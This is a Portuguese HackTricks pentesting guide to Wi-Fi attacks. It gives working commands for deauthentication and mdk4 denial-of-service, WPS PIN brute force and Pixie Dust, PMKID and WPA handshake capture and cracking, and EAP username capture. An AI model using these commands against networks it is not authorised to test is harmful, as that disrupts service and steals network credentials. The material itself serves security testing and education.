mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
748 lines
54 KiB
Markdown
748 lines
54 KiB
Markdown
# Pentesting Wifi
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
|
|
|
|
🐞 Leia tutoriais sobre bugs web3
|
|
|
|
🔔 Receba notificações sobre novos programas de recompensa por bugs
|
|
|
|
💬 Participe de discussões na comunidade
|
|
|
|
## Comandos básicos de Wifi
|
|
```bash
|
|
ip link show #List available interfaces
|
|
iwconfig #List available interfaces
|
|
airmon-ng check kill #Kill annoying processes
|
|
airmon-ng start wlan0 #Monitor mode
|
|
airmon-ng stop wlan0mon #Managed mode
|
|
airodump-ng wlan0mon #Scan (default 2.4Ghz)
|
|
airodump-ng wlan0mon --band a #Scan 5Ghz
|
|
iwconfig wlan0 mode monitor #Put in mode monitor
|
|
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
|
|
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
|
|
```
|
|
## Ferramentas
|
|
|
|
### EAPHammer
|
|
```
|
|
git clone https://github.com/s0lst1c3/eaphammer.git
|
|
./kali-setup
|
|
```
|
|
### Airgeddon
|
|
|
|
Airgeddon é uma ferramenta de teste de penetração de Wi-Fi que automatiza muitos dos processos envolvidos na obtenção de acesso a uma rede sem fio. Ele usa uma variedade de técnicas, incluindo ataques de dicionário, ataques de força bruta e ataques de desautenticação para tentar obter acesso à rede. A ferramenta também inclui recursos para capturar pacotes, analisar a segurança da rede e testar a força da senha. Com sua interface de usuário amigável e recursos poderosos, o Airgeddon é uma ferramenta popular entre os testadores de penetração e os hackers éticos.
|
|
```bash
|
|
mv `which dhcpd` `which dhcpd`.old
|
|
apt install isc-dhcp-server
|
|
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
|
|
```
|
|
**Executando o airgeddon com docker**
|
|
|
|
O airgeddon é uma ferramenta de pentesting Wi-Fi que pode ser executada em um contêiner Docker. Isso permite que você execute a ferramenta em qualquer sistema operacional que suporte o Docker, sem precisar instalar dependências ou configurar o ambiente.
|
|
|
|
Para executar o airgeddon com Docker, siga estas etapas:
|
|
|
|
1. Instale o Docker em seu sistema operacional.
|
|
2. Baixe o repositório do airgeddon do GitHub.
|
|
3. Navegue até o diretório do airgeddon no terminal.
|
|
4. Execute o comando `docker build -t airgeddon .` para criar a imagem Docker.
|
|
5. Execute o comando `docker run -it --net=host --privileged airgeddon` para iniciar o contêiner Docker.
|
|
|
|
Com esses passos, você poderá executar o airgeddon em um contêiner Docker e usá-lo para testar a segurança de redes Wi-Fi.
|
|
```bash
|
|
docker run \
|
|
--rm \
|
|
-ti \
|
|
--name airgeddon \
|
|
--net=host \
|
|
--privileged \
|
|
-p 3000:3000 \
|
|
-v /tmp:/io \
|
|
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
|
v1s1t0r1sh3r3/airgeddon
|
|
```
|
|
### wifiphisher
|
|
|
|
Ele pode realizar ataques de Evil Twin, KARMA e Beacons Conhecidos e, em seguida, usar um modelo de phishing para obter a senha real da rede ou capturar credenciais de redes sociais.
|
|
```bash
|
|
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
|
cd wifiphisher # Switch to tool's directory
|
|
sudo python setup.py install # Install any dependencies
|
|
```
|
|
### [Wifite2](https://github.com/derv82/wifite2)
|
|
|
|
Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente:
|
|
|
|
* Configurar a interface em modo monitor
|
|
* Escanear possíveis redes - E permitir que você selecione a(s) vítima(s)
|
|
* Se WEP - Lançar ataques WEP
|
|
* Se WPA-PSK
|
|
* Se WPS: ataque Pixie dust e ataque de força bruta (tenha cuidado, o ataque de força bruta pode levar muito tempo). Observe que ele não tenta PIN nulo ou PINs gerados/banco de dados.
|
|
* Tentar capturar o PMKID do AP para quebrá-lo
|
|
* Tentar desautenticar clientes do AP para capturar um handshake
|
|
* Se PMKID ou Handshake, tentar força bruta usando as top5000 senhas.
|
|
|
|
## Resumo dos ataques
|
|
|
|
* **DoS**
|
|
* Desautenticação/disassociação -- Desconectar todos (ou um ESSID/Cliente específico)
|
|
* APs falsos aleatórios -- Esconder redes, possivelmente derrubar scanners
|
|
* Sobrecarregar AP -- Tentar derrubar o AP (geralmente não muito útil)
|
|
* WIDS -- Brincar com o IDS
|
|
* TKIP, EAPOL -- Alguns ataques específicos para DoS em alguns APs
|
|
* **Quebra de senha**
|
|
* Quebrar **WEP** (vários ferramentas e métodos)
|
|
* **WPA-PSK**
|
|
* **WPS** pin "Força Bruta"
|
|
* **WPA PMKID** força bruta
|
|
* \[DoS +] Captura de **handshake WPA** + Quebra de senha
|
|
* **WPA-MGT**
|
|
* **Captura de nome de usuário**
|
|
* **Força Bruta** Credenciais
|
|
* **Evil Twin** (com ou sem DoS)
|
|
* **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciais de portal cativo e/ou realizar ataques LAN
|
|
* **WPA-PSK** Evil Twin -- Útil para ataques de rede se você souber a senha
|
|
* **WPA-MGT** -- Útil para capturar credenciais da empresa
|
|
* **KARMA, MANA**, **Loud MANA**, **Beacon conhecido**
|
|
* **+ Open** -- Útil para capturar credenciais de portal cativo e/ou realizar ataques LAN
|
|
* **+ WPA** -- Útil para capturar handshakes WPA
|
|
|
|
## DoS
|
|
|
|
### Pacotes de desautenticação
|
|
|
|
A forma mais comum deste tipo de ataque é feita com pacotes de **desautenticação**. Estes são um tipo de quadro "de gerenciamento" responsável por desconectar um dispositivo de um ponto de acesso. Forjar esses pacotes é a chave para [hackear muitas redes Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), pois você pode desconectar forçadamente qualquer cliente da rede a qualquer momento. A facilidade com que isso pode ser feito é um tanto assustadora e muitas vezes é feito como parte da coleta de um handshake WPA para quebrar.
|
|
|
|
Além de usar momentaneamente essa desconexão para coletar um handshake para quebrar, você também pode deixar esses desautenticações continuarem chegando, o que tem o efeito de salpicar o cliente com pacotes de desautenticação aparentemente da rede à qual estão conectados. Como esses quadros não são criptografados, muitos programas se aproveitam dos quadros de gerenciamento, forjando-os e enviando-os para um ou todos os dispositivos em uma rede.\
|
|
**Descrição retirada da** [**qui**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
|
|
|
**Desautenticação usando Aireplay-ng**
|
|
```
|
|
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|
```
|
|
* \-0 significa desautenticação
|
|
* 1 é o número de desautenticações a serem enviadas (você pode enviar várias se desejar); 0 significa enviá-las continuamente
|
|
* \-a 00:14:6C:7E:40:80 é o endereço MAC do ponto de acesso
|
|
* \-c 00:0F:B5:34:30:30 é o endereço MAC do cliente a ser desautenticado; se isso for omitido, então a desautenticação de broadcast é enviada (nem sempre funciona)
|
|
* ath0 é o nome da interface
|
|
|
|
### Pacotes de Disassociação
|
|
|
|
Pacotes de disassociação são outro tipo de quadro de gerenciamento que é usado para desconectar um nó (qualquer dispositivo como um laptop ou celular) de um ponto de acesso próximo. A diferença entre os quadros de desautenticação e de disassociação é principalmente a maneira como são usados.
|
|
|
|
Um AP que procura desconectar um dispositivo invasor enviaria um pacote de desautenticação para informar o dispositivo de que ele foi desconectado da rede, enquanto um pacote de disassociação é usado para desconectar quaisquer nós quando o AP está desligando, reiniciando ou deixando a área.
|
|
|
|
**Descrição da** [**qui**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
|
|
|
**Este ataque pode ser realizado pelo mdk4 (modo "d"):**
|
|
```bash
|
|
# -c <channel>
|
|
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
|
|
# -e WifiName is the name of the wifi
|
|
# -B BSSID is the BSSID of the AP
|
|
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
|
|
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|
```
|
|
### **Mais ataques de DOS por mdk4**
|
|
|
|
**De** [**aqui**](https://en.kali.tools/?p=864)**.**
|
|
|
|
**MODO DE ATAQUE b: Beacon Flooding**
|
|
|
|
Envia quadros de beacon para mostrar APs falsos aos clientes. Isso às vezes pode travar scanners de rede e até mesmo drivers!
|
|
```bash
|
|
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
|
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
|
# -m use real BSSIDS
|
|
# All the parameters are optional and you could load ESSIDs from a file
|
|
mdk4 wlan0mon b -a -w nta -m
|
|
```
|
|
**MODO DE ATAQUE a: Negação de Serviço de Autenticação**
|
|
|
|
Envia quadros de autenticação para todos os APs encontrados na área. Muitos clientes podem congelar ou reiniciar vários APs.
|
|
```bash
|
|
# -a BSSID send random data from random clients to try the DoS
|
|
# -i BSSID capture and repeat pakets from authenticated clients
|
|
# -m use real MACs
|
|
# only -a or -i can be used
|
|
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
|
```
|
|
**MODO DE ATAQUE p: Sondagem de SSID e Força Bruta**
|
|
|
|
Sonda os APs e verifica se há resposta, útil para verificar se o SSID foi decodificado corretamente e se o AP está dentro do seu alcance de envio. A **força bruta de SSIDs ocultos** com ou sem uma lista de palavras também está disponível.
|
|
|
|
**MODO DE ATAQUE m: Exploração de Contramedidas Michael**
|
|
|
|
Envia pacotes aleatórios ou reinjeta duplicatas em outra fila QoS para provocar as Contramedidas Michael em **APs TKIP**. O AP então desligará por um minuto inteiro, tornando isso um **DoS** efetivo.
|
|
```bash
|
|
# -t <BSSID> of a TKIP AP
|
|
# -j use inteligent replay to create the DoS
|
|
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
|
```
|
|
**MODO DE ATAQUE e: Injeção de Pacotes EAPOL Start e Logoff**
|
|
|
|
Inunda um AP com quadros de início **EAPOL** para mantê-lo ocupado com **sessões falsas** e, assim, desabilitá-lo para lidar com quaisquer clientes legítimos. Ou desconecta clientes **injetando mensagens falsas** de **Logoff EAPOL**.
|
|
```bash
|
|
# Use Logoff messages to kick clients
|
|
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
|
```
|
|
**MODO DE ATAQUE s: Ataques para redes mesh IEEE 802.11s**
|
|
|
|
Vários ataques à gestão de links e roteamento em redes mesh. Inunde vizinhos e rotas, crie buracos negros e desvie o tráfego!
|
|
|
|
**MODO DE ATAQUE w: Confusão WIDS**
|
|
|
|
Confunda/Abuse os Sistemas de Detecção e Prevenção de Intrusão cruzando clientes para múltiplos nós WDS ou falsos APs rogue.
|
|
```bash
|
|
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
|
mkd4 -e <SSID> -c <channel> [-z]
|
|
```
|
|
**MODO DE ATAQUE f: Fuzzer de Pacotes**
|
|
|
|
Um fuzzer de pacotes simples com várias fontes de pacotes e um bom conjunto de modificadores. Tenha cuidado!
|
|
|
|
### **Airggedon**
|
|
|
|
_**Airgeddon**_ oferece a maioria dos ataques propostos nos comentários anteriores:
|
|
|
|
.png>)
|
|
|
|
## WPS
|
|
|
|
WPS significa Wi-Fi Protected Setup. É um padrão de segurança de rede sem fio que tenta tornar as conexões entre um roteador e dispositivos sem fio mais rápidas e fáceis. **O WPS funciona apenas para redes sem fio que usam uma senha** que é criptografada com os protocolos de segurança **WPA** Personal ou **WPA2** Personal. O WPS não funciona em redes sem fio que estão usando a segurança WEP obsoleta, que pode ser facilmente quebrada por qualquer hacker com um conjunto básico de ferramentas e habilidades. (De [aqui](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
|
|
|
|
O WPS usa um PIN de 8 dígitos para permitir que um usuário se conecte à rede, mas primeiro são verificados os primeiros 4 números e, se estiverem corretos, então são verificados os segundos 4 números. Em seguida, é possível fazer um Brute-Force na primeira metade e depois na segunda metade (apenas 11000 possibilidades).
|
|
|
|
### Brute-Force WPS
|
|
|
|
Existem 2 ferramentas principais para realizar esta ação: Reaver e Bully.
|
|
|
|
* **Reaver** foi projetado para ser um ataque robusto e prático contra o WPS e foi testado em uma ampla variedade de pontos de acesso e implementações do WPS.
|
|
* **Bully** é uma **nova implementação** do ataque de força bruta WPS, escrita em C. Tem várias vantagens sobre o código original do reaver: menos dependências, melhor desempenho de memória e CPU, manipulação correta de endianness e um conjunto mais robusto de opções.
|
|
|
|
Este ataque aproveita uma **vulnerabilidade no código PIN WPS de oito dígitos**; devido a esse problema, o protocolo **revela informações sobre os quatro primeiros dígitos do PIN**, e o **último** dígito funciona como um **checksum**, o que torna fácil a força bruta do WPS AP.\
|
|
Observe que alguns dispositivos incluem **proteções de força bruta**, que geralmente **bloqueiam endereços MAC** que tentam atacar repetidamente. Nesse caso, a complexidade desse ataque aumenta, porque você teria que **rotacionar os endereços MAC** enquanto testa os PINs.
|
|
|
|
Se o código válido do WPS for encontrado, tanto o Bully quanto o Reaver o usarão para descobrir o PSK WPA/WPA2 usado para proteger a rede, para que você possa se conectar sempre que precisar.
|
|
```bash
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
|
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
|
```
|
|
**Smart Brute force**
|
|
|
|
Em vez de começar a tentar todos os PINs possíveis, você deve verificar se há **PINs descobertos para o AP que você está atacando** (dependendo do MAC do fabricante) e os **PINs gerados pelo software PIN**.
|
|
|
|
* O banco de dados de PINs conhecidos é feito para Access Points de certos fabricantes para os quais se sabe que usam os mesmos PINs WPS. Este banco de dados contém os três primeiros octetos dos endereços MAC e uma lista de PINs correspondentes que são muito prováveis para este fabricante.
|
|
* Existem vários algoritmos para gerar PINs WPS. Por exemplo, ComputePIN e EasyBox usam o endereço MAC do Access Point em seus cálculos. Mas o algoritmo Arcadyan também requer um ID de dispositivo.
|
|
|
|
### Ataque WPS Pixie Dust
|
|
|
|
Dominique Bongard descobriu que alguns APs têm maneiras fracas de gerar **nonces** (conhecidos como **E-S1** e **E-S2**) que devem ser secretos. Se formos capazes de descobrir quais são esses nonces, podemos facilmente encontrar o PIN WPS de um AP, já que o AP deve nos fornecê-lo em um hash para provar que também conhece o PIN, e o cliente não está se conectando a um AP falso. Esses E-S1 e E-S2 são essencialmente as "chaves para desbloquear a caixa de bloqueio" contendo o PIN WPS. Mais informações aqui: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
|
|
|
Basicamente, algumas implementações falharam no uso de chaves aleatórias para criptografar as 2 partes do PIN (como é decomposto em 2 partes durante a comunicação de autenticação e enviado ao cliente), então um ataque offline poderia ser usado para forçar a descoberta do PIN válido.
|
|
```
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
|
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
|
```
|
|
### Ataque Null Pin
|
|
|
|
Algumas implementações muito ruins permitem a conexão com o Null PIN (muito estranho também). O Reaver pode testar isso (o Bully não pode).
|
|
```
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|
```
|
|
### Airgeddon
|
|
|
|
Todos os ataques WPS propostos podem ser facilmente realizados usando o _**airgeddon.**_
|
|
|
|
.png>)
|
|
|
|
* 5 e 6 permitem que você tente **seu PIN personalizado** (se você tiver algum)
|
|
* 7 e 8 realizam o **ataque Pixie Dust**
|
|
* 13 permite que você teste o **PIN NULL**
|
|
* 11 e 12 irão **recolher os PINs relacionados ao AP selecionado de bancos de dados disponíveis** e **gerar** possíveis **PINs** usando: ComputePIN, EasyBox e opcionalmente Arcadyan (recomendado, por que não?)
|
|
* 9 e 10 testarão **todos os PINs possíveis**
|
|
|
|
## **WEP**
|
|
|
|
Tão quebrado e desaparecido que não vou falar sobre isso. Apenas saiba que o _**airgeddon**_ tem uma opção WEP chamada "All-in-One" para atacar esse tipo de proteção. Mais ferramentas oferecem opções semelhantes.
|
|
|
|
.png>)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
|
|
|
|
🐞 Leia tutoriais de bugs web3
|
|
|
|
🔔 Receba notificações sobre novas recompensas por bugs
|
|
|
|
💬 Participe de discussões na comunidade
|
|
|
|
## WPA/WPA2 PSK
|
|
|
|
### PMKID
|
|
|
|
Em 2018, os autores do hashcat [divulgaram](https://hashcat.net/forum/thread-7717.html) um novo tipo de ataque que não só depende **de um único pacote**, mas não requer que nenhum cliente esteja conectado ao nosso AP de destino, apenas a comunicação entre o atacante e o AP.
|
|
|
|
Acontece que **muitos** roteadores modernos anexam um **campo opcional** no final do **primeiro quadro EAPOL** enviado pelo próprio AP quando alguém está se associando, o chamado `Robust Security Network`, que inclui algo chamado `PMKID`.
|
|
|
|
Conforme explicado no post original, o **PMKID** é derivado usando dados que são conhecidos por nós:
|
|
```
|
|
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
|
```
|
|
Como a string "PMK Name" é constante e sabemos tanto o BSSID do AP quanto da estação, e o `PMK` é o mesmo obtido a partir de um handshake completo de 4 vias, isso é tudo o que o hashcat precisa para quebrar a PSK e recuperar a senha!\
|
|
Descrição obtida [aqui](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/).
|
|
|
|
Para **coletar** essas informações e **fazer força bruta** localmente na senha, você pode fazer o seguinte:
|
|
```bash
|
|
airmon-ng check kill
|
|
airmon-ng start wlan0
|
|
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
|
|
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
|
```
|
|
|
|
```bash
|
|
#You can also obtains PMKIDs using eaphammer
|
|
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
|
```
|
|
Os **PMKIDs capturados** serão mostrados no **console** e também **salvos** dentro de \_ **/tmp/attack.pcap**\_\
|
|
Agora, converta a captura para o formato do **hashcat/john** e quebre-o:
|
|
```bash
|
|
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
|
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
|
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
|
```
|
|
Por favor, note que o formato correto de um hash contém **4 partes**, como: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
|
|
__Se o seu hash contém **apenas 3 partes**, então ele é **inválido** (a captura PMKID não foi válida).
|
|
|
|
Observe que o `hcxdumptool` **também captura handshakes** (algo como isso aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Você pode **transformar** os **handshakes** para o formato **hashcat**/**john** usando o `cap2hccapx`.
|
|
```bash
|
|
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
|
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
|
hccap2john pmkid.hccapx > handshake.john
|
|
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
|
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
|
```
|
|
_Notei que alguns handshakes capturados com essa ferramenta não puderam ser quebrados mesmo sabendo a senha correta. Eu recomendaria capturar handshakes também da maneira tradicional, se possível, ou capturar vários deles usando essa ferramenta._
|
|
|
|
### Captura de Handshake
|
|
|
|
Uma maneira de atacar redes **WPA/WPA2** é capturando um **handshake** e tentando **quebrar** a senha usada **offline**. Para fazer isso, você precisa encontrar o **BSSID** e o **canal** da rede da **vítima**, e um **cliente** que esteja conectado à rede.\
|
|
Assim que você tiver essas informações, é necessário começar a **escutar** toda a comunicação desse **BSSID** nesse **canal**, porque, com sorte, o handshake será enviado lá:
|
|
```bash
|
|
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
|
```
|
|
Agora você precisa **desautenticar** o **cliente** por alguns segundos para que ele se autentique automaticamente novamente no AP (por favor, leia a parte de DoS para encontrar várias maneiras de desautenticar um cliente):
|
|
```bash
|
|
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
|
|
```
|
|
_Nota que, como o cliente foi desautenticado, ele pode tentar se conectar a um AP diferente ou, em outros casos, a uma rede diferente._
|
|
|
|
Assim que o `airodump-ng` mostrar algumas informações de handshake, isso significa que o handshake foi capturado e você pode parar de ouvir:
|
|
|
|
 (1).png>)
|
|
|
|
Uma vez que o handshake é capturado, você pode **quebrá-lo** com o `aircrack-ng`:
|
|
```
|
|
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
|
```
|
|
### Verificar se o handshake está no arquivo
|
|
|
|
**aircrack**
|
|
```bash
|
|
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
|
|
```
|
|
**tshark**
|
|
|
|
`tshark` é um utilitário de linha de comando que permite capturar e analisar o tráfego de rede. Ele é uma ferramenta poderosa para a análise de pacotes e pode ser usado para identificar problemas de rede, bem como para fins de segurança, como a detecção de ataques de rede. O `tshark` é uma ferramenta de linha de comando e pode ser executado em sistemas operacionais Windows, Linux e macOS. Ele suporta uma ampla variedade de formatos de arquivo de captura, incluindo o popular formato `pcap`.
|
|
```bash
|
|
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
|
|
```
|
|
[**cowpatty**](https://github.com/roobixx/cowpatty)
|
|
```
|
|
cowpatty -r psk-01.cap -s "ESSID" -f -
|
|
```
|
|
_Se esta ferramenta encontrar um handshake incompleto de um ESSID antes do completo, ela não detectará o válido._
|
|
|
|
**pyrit**
|
|
```bash
|
|
apt-get install pyrit #Not working for newer versions of kali
|
|
pyrit -r psk-01.cap analyze
|
|
```
|
|
## **WPA Enterprise (MGT)**
|
|
|
|
**É** importante falar sobre os **diferentes métodos de autenticação** que podem ser usados por um Wifi empresarial. Para este tipo de Wifis, você provavelmente encontrará em `airodump-ng` algo como isto:
|
|
```
|
|
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
|
```
|
|
O **EAP** (Extensible Authentication Protocol) é o **cérebro** da **comunicação de autenticação**. Em cima disso, um **algoritmo de autenticação** é usado pelo servidor para autenticar o **cliente** (**suplicante**) e, em alguns casos, pelo cliente para autenticar o servidor.\
|
|
Os principais algoritmos de autenticação usados nesse caso são:
|
|
|
|
* **EAP-GTC:** É um método EAP para suportar o uso de tokens de hardware e senhas únicas com EAP-PEAP. Sua implementação é semelhante ao MSCHAPv2, mas não usa um desafio de par. Em vez disso, as senhas são enviadas para o ponto de acesso em **texto simples** (muito interessante para ataques de degradação).
|
|
* **EAP-MD-5 (Message Digest)**: O cliente envia o hash MD5 da senha. **Não recomendado**: vulnerável a ataques de dicionário, sem autenticação do servidor e sem maneira de gerar chaves de privacidade equivalentes com fio (WEP) por sessão.
|
|
* **EAP-TLS (Transport Layer Security)**: Ele depende de **certificados do lado do cliente e do servidor** para realizar a autenticação e pode ser usado para gerar dinamicamente chaves WEP baseadas em usuário e sessão para proteger comunicações subsequentes.
|
|
* **EAP-TTLS (Tunneled Transport Layer Security)**: **Autenticação mútua** do cliente e da rede por meio de um canal (ou túnel) criptografado, bem como um meio para derivar chaves WEP dinâmicas, por usuário e por sessão. Ao contrário do EAP-TLS, **o EAP-TTLS requer apenas certificados do lado do servidor (o cliente usará credenciais)**.
|
|
* **PEAP (Protected Extensible Authentication Protocol)**: O PEAP é como o protocolo **EAP**, mas cria um **túnel TLS** para proteger a comunicação. Em seguida, protocolos de autenticação fracos podem ser usados em cima do EAP, pois eles serão protegidos pelo túnel.
|
|
* **PEAP-MSCHAPv2**: Isso também é conhecido como apenas **PEAP** porque é amplamente adotado. Este é apenas o vulnerável desafio/resposta chamado MSCHAPv2 em cima do PEAP (é protegido pelo túnel TLS).
|
|
* **PEAP-EAP-TLS ou apenas PEAP-TLS**: É muito semelhante ao **EAP-TLS**, mas um túnel TLS é criado antes que os certificados sejam trocados.
|
|
|
|
Você pode encontrar mais informações sobre esses métodos de autenticação [aqui](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) e [aqui](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
|
|
|
### Captura de nome de usuário
|
|
|
|
Lendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que se você estiver usando **EAP**, as mensagens de **"Identidade"** devem ser **suportadas**, e o **nome de usuário** será enviado em **texto claro** nas mensagens de **"Resposta de Identidade"**.
|
|
|
|
Mesmo usando um dos métodos de autenticação mais seguros: **PEAP-EAP-TLS**, é possível **capturar o nome de usuário enviado no protocolo EAP**. Para fazer isso, **capture uma comunicação de autenticação** (inicie o `airodump-ng` dentro de um canal e o `wireshark` na mesma interface) e filtre os pacotes por `eapol`.\
|
|
Dentro do pacote "**Resposta, Identidade**", o **nome de usuário** do cliente aparecerá.
|
|
|
|
.png>)
|
|
|
|
### Identidades anônimas
|
|
|
|
(Informações retiradas de [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm))
|
|
|
|
Tanto o **EAP-PEAP** quanto o **EAP-TTLS suportam ocultação de identidade**. Em um ambiente WiFi, o ponto de acesso (AP) geralmente gera uma solicitação de EAP-Identity como parte do processo de associação. Para preservar o anonimato, o cliente EAP no sistema do usuário pode responder com informações suficientes apenas para permitir que o primeiro servidor RADIUS de salto processe a solicitação, como mostrado nos exemplos a seguir.
|
|
|
|
* _**EAP-Identity = anonymous**_
|
|
|
|
> Neste exemplo, todos os usuários compartilharão o pseudonome de usuário "anonymous". O primeiro servidor RADIUS de salto é um servidor EAP-PEAP ou EAP-TTLS que conduz o final do servidor do protocolo PEAP ou TTLS. O tipo de autenticação interno (protegido) será então tratado localmente ou encaminhado para um servidor RADIUS remoto (doméstico).
|
|
|
|
* _**EAP-Identity = anonymous@realm\_x**_
|
|
|
|
> Neste exemplo, os usuários pertencentes a diferentes domínios ocultam sua própria identidade, mas indicam a qual domínio pertencem para que o primeiro servidor RADIUS de salto possa encaminhar as solicitações EAP-PEAP ou EAP-TTLS para servidores RADIUS em seus domínios domésticos, que atuarão como o servidor PEAP ou TTLS. O primeiro servidor de salto age puramente como um nó de relé RADIUS.
|
|
>
|
|
> Alternativamente, o primeiro servidor de salto pode atuar como o servidor EAP-PEAP ou EAP-TTLS e processar o método de autenticação protegido ou encaminhá-lo para outro servidor. Essa opção pode ser usada para configurar políticas diferentes para diferentes domínios.
|
|
|
|
No EAP-PEAP, uma vez que o servidor PEAP e o cliente PEAP estabelecem o túnel TLS, o servidor PEAP gera uma solicitação de EAP-Identity e a transmite pelo túnel TLS. O cliente responde a esta segunda solicitação de EAP-Identity enviando uma resposta de EAP-Identity contendo a verdadeira identidade do usuário pelo túnel criptografado. Isso impede que qualquer pessoa que esteja interceptando o tráfego 802.11 descubra a verdadeira identidade do usuário.
|
|
|
|
